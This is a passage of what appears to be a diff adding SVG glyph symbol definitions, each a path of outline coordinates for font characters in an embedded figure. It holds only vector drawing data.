+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 5.21875 -7.09375 L 9.140625 -7.09375 L 9.140625 -0.828125 C 8.765625 -0.484375 8.28125 -0.21875 7.6875 -0.03125 C 7.09375 0.15625 6.488281 0.25 5.875 0.25 C 5.113281 0.25 4.425781 0.109375 3.8125 -0.171875 C 3.195312 -0.460938 2.671875 -0.910156 2.234375 -1.515625 C 1.796875 -2.117188 1.457031 -2.878906 1.21875 -3.796875 C 0.988281 -4.722656 0.875 -5.828125 0.875 -7.109375 C 0.875 -8.441406 1.015625 -9.570312 1.296875 -10.5 C 1.585938 -11.425781 1.972656 -12.179688 2.453125 -12.765625 C 2.929688 -13.359375 3.476562 -13.789062 4.09375 -14.0625 C 4.707031 -14.332031 5.34375 -14.46875 6 -14.46875 C 6.644531 -14.46875 7.1875 -14.421875 7.625 -14.328125 C 8.070312 -14.242188 8.453125 -14.128906 8.765625 -13.984375 L 8.390625 -12.609375 C 8.117188 -12.753906 7.796875 -12.867188 7.421875 -12.953125 C 7.054688 -13.035156 6.628906 -13.078125 6.140625 -13.078125 C 5.660156 -13.078125 5.203125 -12.972656 4.765625 -12.765625 C 4.335938 -12.566406 3.953125 -12.234375 3.609375 -11.765625 C 3.265625 -11.296875 2.988281 -10.679688 2.78125 -9.921875 C 2.582031 -9.160156 2.484375 -8.222656 2.484375 -7.109375 C 2.484375 -5.078125 2.800781 -3.578125 3.4375 -2.609375 C 4.082031 -1.640625 4.96875 -1.15625 6.09375 -1.15625 C 6.800781 -1.15625 7.382812 -1.328125 7.84375 -1.671875 L 7.84375 -5.8125 L 5.21875 -6.203125 Z M 5.21875 -7.09375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 5.40625 -14.46875 L 6.546875 -14.03125 L 0.609375 2.84375 L -0.5625 2.421875 Z M 5.40625 -14.46875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 1.90625 -1.359375 L 4.203125 -1.359375 L 4.203125 -11.265625 L 4.390625 -12.46875 L 3.703125 -11.484375 L 1.984375 -10.109375 L 1.21875 -11.015625 L 4.921875 -14.46875 L 5.671875 -14.46875 L 5.671875 -1.359375 L 7.890625 -1.359375 L 7.890625 0 L 1.90625 0 Z M 1.90625 -1.359375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-24"> +<path style="stroke:none;" d="M 0.796875 -0.921875 C 0.796875 -1.296875 0.882812 -1.578125 1.0625 -1.765625 C 1.25 -1.953125 1.5 -2.046875 1.8125 -2.046875 C 2.125 -2.046875 2.367188 -1.953125 2.546875 -1.765625 C 2.734375 -1.578125 2.828125 -1.296875 2.828125 -0.921875 C 2.828125 -0.523438 2.734375 -0.226562 2.546875 -0.03125 C 2.367188 0.15625 2.125 0.25 1.8125 0.25 C 1.5 0.25 1.25 0.15625 1.0625 -0.03125 C 0.882812 -0.226562 0.796875 -0.523438 0.796875 -0.921875 Z M 0.796875 -0.921875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-25"> +<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-26"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-27"> +<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-28"> +<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-29"> +<path style="stroke:none;" d="M 0.734375 -6.203125 L 0.734375 -6.796875 L 6.828125 -11.328125 L 7.625 -10.21875 L 3.734375 -7.28125 L 2.234375 -6.5 L 3.71875 -5.859375 L 7.703125 -2.921875 L 6.9375 -1.828125 Z M 0.734375 -6.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-30"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-31"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-32"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-33"> +<path style="stroke:none;" d="M 7.703125 -7 L 7.703125 -6.40625 L 1.640625 -1.875 L 0.8125 -2.953125 L 4.71875 -5.890625 L 6.203125 -6.671875 L 4.734375 -7.3125 L 0.734375 -10.25 L 1.546875 -11.328125 Z M 7.703125 -7 "/> +</symbol> +<symbol overflow="visible" id="glyph0-34"> +<path style="stroke:none;" d="M 1.53125 -0.875 C 1.53125 -1.207031 1.628906 -1.472656 1.828125 -1.671875 C 2.023438 -1.878906 2.273438 -1.984375 2.578125 -1.984375 C 2.929688 -1.984375 3.21875 -1.84375 3.4375 -1.5625 C 3.664062 -1.28125 3.78125 -0.832031 3.78125 -0.21875 C 3.78125 0.226562 3.722656 0.628906 3.609375 0.984375 C 3.492188 1.347656 3.34375 1.664062 3.15625 1.9375 C 2.976562 2.207031 2.78125 2.425781 2.5625 2.59375 C 2.34375 2.769531 2.132812 2.898438 1.9375 2.984375 L 1.421875 2.296875 C 1.597656 2.203125 1.765625 2.078125 1.921875 1.921875 C 2.078125 1.765625 2.207031 1.59375 2.3125 1.40625 C 2.414062 1.21875 2.492188 1.015625 2.546875 0.796875 C 2.597656 0.585938 2.625 0.382812 2.625 0.1875 C 2.351562 0.269531 2.101562 0.210938 1.875 0.015625 C 1.644531 -0.171875 1.53125 -0.46875 1.53125 -0.875 Z M 1.734375 -9.109375 C 1.734375 -9.484375 1.820312 -9.765625 2 -9.953125 C 2.1875 -10.140625 2.4375 -10.234375 2.75 -10.234375 C 3.0625 -10.234375 3.304688 -10.140625 3.484375 -9.953125 C 3.671875 -9.765625 3.765625 -9.484375 3.765625 -9.109375 C 3.765625 -8.710938 3.671875 -8.414062 3.484375 -8.21875 C 3.304688 -8.03125 3.0625 -7.9375 2.75 -7.9375 C 2.4375 -7.9375 2.1875 -8.03125 2 -8.21875 C 1.820312 -8.414062 1.734375 -8.710938 1.734375 -9.109375 Z M 1.734375 -9.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-35"> +<path style="stroke:none;" d="M 0.71875 -9.265625 L 7.703125 -9.265625 L 7.703125 -7.90625 L 0.71875 -7.90625 Z M 0.71875 -5.90625 L 7.703125 -5.90625 L 7.703125 -4.546875 L 0.71875 -4.546875 Z M 0.71875 -5.90625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-36"> +<path style="stroke:none;" d="M 3.609375 -14.234375 L 5 -14.234375 L 4.484375 -10.3125 L 3.609375 -10.3125 Z M 1.46875 -14.234375 L 2.859375 -14.234375 L 2.34375 -10.3125 L 1.46875 -10.3125 Z M 1.46875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-37"> +<path style="stroke:none;" d="M 2.171875 -2.3125 C 2.171875 -3.007812 2.054688 -3.484375 1.828125 -3.734375 C 1.609375 -3.992188 1.289062 -4.125 0.875 -4.125 L 0.875 -5.453125 C 1.289062 -5.453125 1.609375 -5.585938 1.828125 -5.859375 C 2.054688 -6.128906 2.171875 -6.5625 2.171875 -7.15625 L 2.171875 -12.171875 C 2.171875 -12.804688 2.296875 -13.3125 2.546875 -13.6875 C 2.796875 -14.0625 3.207031 -14.25 3.78125 -14.25 L 5.28125 -14.25 L 5.28125 -12.921875 L 4.5 -12.921875 C 4.1875 -12.921875 3.960938 -12.835938 3.828125 -12.671875 C 3.703125 -12.503906 3.640625 -12.203125 3.640625 -11.765625 L 3.640625 -6.8125 C 3.640625 -6.21875 3.523438 -5.765625 3.296875 -5.453125 C 3.078125 -5.140625 2.8125 -4.945312 2.5 -4.875 L 2.5 -4.75 C 2.8125 -4.695312 3.078125 -4.488281 3.296875 -4.125 C 3.523438 -3.769531 3.640625 -3.3125 3.640625 -2.75 L 3.640625 2.203125 C 3.640625 2.617188 3.703125 2.914062 3.828125 3.09375 C 3.960938 3.269531 4.191406 3.359375 4.515625 3.359375 L 5.28125 3.359375 L 5.28125 4.671875 L 3.78125 4.671875 C 2.707031 4.671875 2.171875 3.988281 2.171875 2.625 Z M 2.171875 -2.3125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-38"> +<path style="stroke:none;" d="M 11.484375 -9.984375 L 12.15625 -9.984375 L 11.328125 -4.0625 C 11.203125 -3.15625 11.160156 -2.476562 11.203125 -2.03125 C 11.253906 -1.59375 11.457031 -1.375 11.8125 -1.375 C 12.164062 -1.375 12.515625 -1.488281 12.859375 -1.71875 C 13.210938 -1.957031 13.53125 -2.300781 13.8125 -2.75 C 14.09375 -3.195312 14.316406 -3.742188 14.484375 -4.390625 C 14.648438 -5.035156 14.734375 -5.78125 14.734375 -6.625 C 14.734375 -7.582031 14.59375 -8.425781 14.3125 -9.15625 C 14.039062 -9.882812 13.65625 -10.488281 13.15625 -10.96875 C 12.664062 -11.457031 12.066406 -11.828125 11.359375 -12.078125 C 10.660156 -12.335938 9.882812 -12.46875 9.03125 -12.46875 C 8.144531 -12.46875 7.316406 -12.285156 6.546875 -11.921875 C 5.773438 -11.566406 5.101562 -11.054688 4.53125 -10.390625 C 3.957031 -9.722656 3.503906 -8.925781 3.171875 -8 C 2.847656 -7.082031 2.6875 -6.054688 2.6875 -4.921875 C 2.6875 -3.742188 2.835938 -2.71875 3.140625 -1.84375 C 3.441406 -0.976562 3.867188 -0.253906 4.421875 0.328125 C 4.984375 0.910156 5.644531 1.34375 6.40625 1.625 C 7.164062 1.90625 8.003906 2.046875 8.921875 2.046875 C 9.242188 2.046875 9.617188 2.003906 10.046875 1.921875 C 10.472656 1.847656 10.84375 1.726562 11.15625 1.5625 L 11.53125 2.703125 C 11.0625 2.921875 10.597656 3.070312 10.140625 3.15625 C 9.691406 3.25 9.21875 3.296875 8.71875 3.296875 C 7.726562 3.296875 6.789062 3.140625 5.90625 2.828125 C 5.019531 2.515625 4.238281 2.03125 3.5625 1.375 C 2.894531 0.71875 2.363281 -0.117188 1.96875 -1.140625 C 1.570312 -2.171875 1.375 -3.390625 1.375 -4.796875 C 1.375 -6.191406 1.582031 -7.441406 2 -8.546875 C 2.414062 -9.648438 2.972656 -10.582031 3.671875 -11.34375 C 4.367188 -12.101562 5.179688 -12.6875 6.109375 -13.09375 C 7.046875 -13.5 8.039062 -13.703125 9.09375 -13.703125 C 10.09375 -13.703125 11.015625 -13.550781 11.859375 -13.25 C 12.703125 -12.957031 13.4375 -12.507812 14.0625 -11.90625 C 14.6875 -11.3125 15.171875 -10.570312 15.515625 -9.6875 C 15.859375 -8.8125 16.03125 -7.789062 16.03125 -6.625 C 16.03125 -5.6875 15.910156 -4.816406 15.671875 -4.015625 C 15.429688 -3.222656 15.101562 -2.535156 14.6875 -1.953125 C 14.269531 -1.367188 13.785156 -0.910156 13.234375 -0.578125 C 12.691406 -0.242188 12.109375 -0.078125 11.484375 -0.078125 C 11.222656 -0.078125 10.988281 -0.109375 10.78125 -0.171875 C 10.570312 -0.242188 10.398438 -0.359375 10.265625 -0.515625 C 10.140625 -0.679688 10.050781 -0.898438 10 -1.171875 C 9.945312 -1.441406 9.945312 -1.773438 10 -2.171875 L 9.921875 -2.171875 C 9.773438 -1.898438 9.597656 -1.640625 9.390625 -1.390625 C 9.191406 -1.140625 8.972656 -0.914062 8.734375 -0.71875 C 8.492188 -0.519531 8.234375 -0.363281 7.953125 -0.25 C 7.679688 -0.132812 7.394531 -0.078125 7.09375 -0.078125 C 6.519531 -0.078125 6.035156 -0.332031 5.640625 -0.84375 C 5.242188 -1.351562 5.046875 -2.085938 5.046875 -3.046875 C 5.046875 -4.046875 5.15625 -4.976562 5.375 -5.84375 C 5.601562 -6.71875 5.910156 -7.472656 6.296875 -8.109375 C 6.679688 -8.742188 7.128906 -9.238281 7.640625 -9.59375 C 8.160156 -9.957031 8.710938 -10.140625 9.296875 -10.140625 C 9.679688 -10.140625 10 -10.070312 10.25 -9.9375 C 10.5 -9.800781 10.742188 -9.617188 10.984375 -9.390625 Z M 10.546875 -8.125 C 10.367188 -8.375 10.1875 -8.550781 10 -8.65625 C 9.820312 -8.769531 9.597656 -8.828125 9.328125 -8.828125 C 8.921875 -8.828125 8.539062 -8.671875 8.1875 -8.359375 C 7.832031 -8.054688 7.523438 -7.648438 7.265625 -7.140625 C 7.015625 -6.640625 6.8125 -6.0625 6.65625 -5.40625 C 6.507812 -4.757812 6.4375 -4.085938 6.4375 -3.390625 C 6.4375 -2.785156 6.53125 -2.300781 6.71875 -1.9375 C 6.90625 -1.582031 7.210938 -1.40625 7.640625 -1.40625 C 7.847656 -1.40625 8.054688 -1.476562 8.265625 -1.625 C 8.484375 -1.769531 8.695312 -1.960938 8.90625 -2.203125 C 9.125 -2.441406 9.328125 -2.707031 9.515625 -3 C 9.703125 -3.300781 9.863281 -3.601562 10 -3.90625 Z M 10.546875 -8.125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-39"> +<path style="stroke:none;" d="M 0.734375 -0.875 C 0.734375 -1.207031 0.832031 -1.472656 1.03125 -1.671875 C 1.226562 -1.878906 1.476562 -1.984375 1.78125 -1.984375 C 2.132812 -1.984375 2.421875 -1.84375 2.640625 -1.5625 C 2.867188 -1.28125 2.984375 -0.832031 2.984375 -0.21875 C 2.984375 0.226562 2.925781 0.628906 2.8125 0.984375 C 2.695312 1.347656 2.546875 1.664062 2.359375 1.9375 C 2.179688 2.207031 1.984375 2.425781 1.765625 2.59375 C 1.546875 2.769531 1.335938 2.898438 1.140625 2.984375 L 0.625 2.296875 C 0.800781 2.203125 0.96875 2.078125 1.125 1.921875 C 1.28125 1.765625 1.410156 1.59375 1.515625 1.40625 C 1.617188 1.21875 1.695312 1.015625 1.75 0.796875 C 1.800781 0.585938 1.828125 0.382812 1.828125 0.1875 C 1.554688 0.269531 1.304688 0.210938 1.078125 0.015625 C 0.847656 -0.171875 0.734375 -0.46875 0.734375 -0.875 Z M 0.734375 -0.875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-40"> +<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-41"> +<path style="stroke:none;" d="M 3.5625 2.625 C 3.5625 3.988281 3.023438 4.671875 1.953125 4.671875 L 0.453125 4.671875 L 0.453125 3.359375 L 1.21875 3.359375 C 1.539062 3.359375 1.765625 3.269531 1.890625 3.09375 C 2.023438 2.914062 2.09375 2.617188 2.09375 2.203125 L 2.09375 -2.75 C 2.09375 -3.3125 2.203125 -3.769531 2.421875 -4.125 C 2.648438 -4.488281 2.921875 -4.695312 3.234375 -4.75 L 3.234375 -4.875 C 2.921875 -4.945312 2.648438 -5.140625 2.421875 -5.453125 C 2.203125 -5.765625 2.09375 -6.21875 2.09375 -6.8125 L 2.09375 -11.765625 C 2.09375 -12.203125 2.023438 -12.503906 1.890625 -12.671875 C 1.765625 